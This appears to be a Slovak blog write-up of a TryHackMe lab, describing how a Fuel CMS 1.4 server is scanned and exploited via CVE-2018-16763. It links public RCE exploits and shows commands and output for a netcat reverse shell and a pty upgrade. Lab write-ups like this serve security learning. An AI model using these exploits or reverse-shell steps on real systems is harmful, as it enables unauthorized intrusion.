Príspevok

TryHackMe - Zraniteťnostný Míľnik

Len opravte svoje exploity

TryHackMe - Zraniteťnostný Míľnik

Úvod

Trochu frustrujúca miestnosť, pretože sme museli prejsť viacerými nefunkčnými exploitmi, ale na konci sa nám podarilo nájsť dobrý.

Tryhackme Room Link

Otázky

Aký je názov spustenej aplikácie na zraniteľnej mašine?

1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -T4 -n -sC -sV -Pn -p- 10.10.159.5
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 9a:5b:14:49:04:b1:d5:44:82:6b:85:b0:f1:b8:1f:69 (RSA)
|   256 6f:4f:08:60:6d:46:a7:b8:e3:0e:1b:00:12:4b:e3:09 (ECDSA)
|_  256 49:3c:2d:13:e7:8b:77:70:47:e4:f4:e1:df:96:5d:7a (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
| http-robots.txt: 1 disallowed entry 
|_/fuel/
|_http-title: Welcome to FUEL CMS
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Otvorené porty: 22/tcp 80/tcp

Odpoveď:

1
Fuel CMS

Aká je verzia tejto aplikácie?

Fuel CMS

Odpoveď:

1
1.4

Aké je CVE číslo zraniteľnosti, pomocou ktorej vieme na diaľku spustiť kód v tejto aplikácii?

Rýchlym vyhľadávaním Google môžeme nájsť nasledovné https://pentest-tools.com/vulnerabilities-exploits/fuel-cms-141-remote-code-execution_2612

Odpoveď:

1
CVE-2018-16763

Čo je vlajka na tejto zraniteľnej mašine? Nachádza sa v /home/ubuntu.

Poďme sa do toho pustiť.

Stiahnime si exploit z https://www.exploit-db.com/exploits/50477 a použime ho

1
2
3
4
5
6
7
8
9
10
11
12
python3 50477.py 
usage: python3 50477.py -u <url>
python3 50477.py -u http://10.10.159.5
[+]Connecting...
Enter Command $ls
system

Enter Command $id
system

Enter Command $whoami
system

Bez ohľadu na to, čo napíšeme, odpoveď je rovnaká

Dobre, stiahnime si https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE, zdá sa, že používa rovnaký CVE, ale iný prístup

1
git clone https://github.com/p0dalirius/CVE-2018-16763-FuelCMS-1.4.1-RCE

Zdá sa, že ani toto nefunguje…

Vlajka

Ok konečne exploit ktorý funguje https://gist.github.com/anir0y/8529960c18e212948b0e40ed1fb18d6d#file-fuel-cms-py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
$ python3 exploit.py 10.10.159.5/                                                                            

 ______         _ _____ ___  ___ _____                                                                         
|  ___|        | /  __ \|  \/  |/  ___|                                                                        
| |_ _   _  ___| | /  \/| .  . |\ `--.                                                                         
|  _| | | |/ _ \ | |    | |\/| | `--. \                                                                        
| | | |_| |  __/ | \__/\| |  | |/\__/ /                                                                        
\_|  \__,_|\___|_|\____/\_|  |_/\____/                                                                         
Tested on 1.4                                                                                                  
Created by Ac1d                                                                                                

        Menu                                                                                                   
                                                                                                               
exit     -      Exit app                                                                                       
shell_me -      Get a reverse shell (netcat)                                                                   
help     -      Show this help                                                                                 
                                                                                                               
fuelCMS$

Na našej mašine spustíme náš netcat listener

1
nc -lvnp 1337

A necháme exploit napojiť sa na nás

1
2
fuelCMS$ shell_me
Enter your attacking machine IP:PORT $ 10.14.99.72:1337

Exploit

A získavame shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ nc -lvnp 1337                                                                                              
listening on [any] 1337 ...
connect to [10.14.99.72] from (UNKNOWN) [10.10.159.5] 44904
/bin/sh: 0: can't access tty; job control turned off
$ ls
README.md
assets
composer.json
contributing.md
fuel
index.php
robots.txt
$ whoami
www-data

Stačí si zmeniť shell na interaktívny a získať našu vlajku

1
$ python3 -c 'import pty; pty.spawn("/bin/bash")'

Exploit

Tento príspevok je licencovaný pod CC BY 4.0 autorom.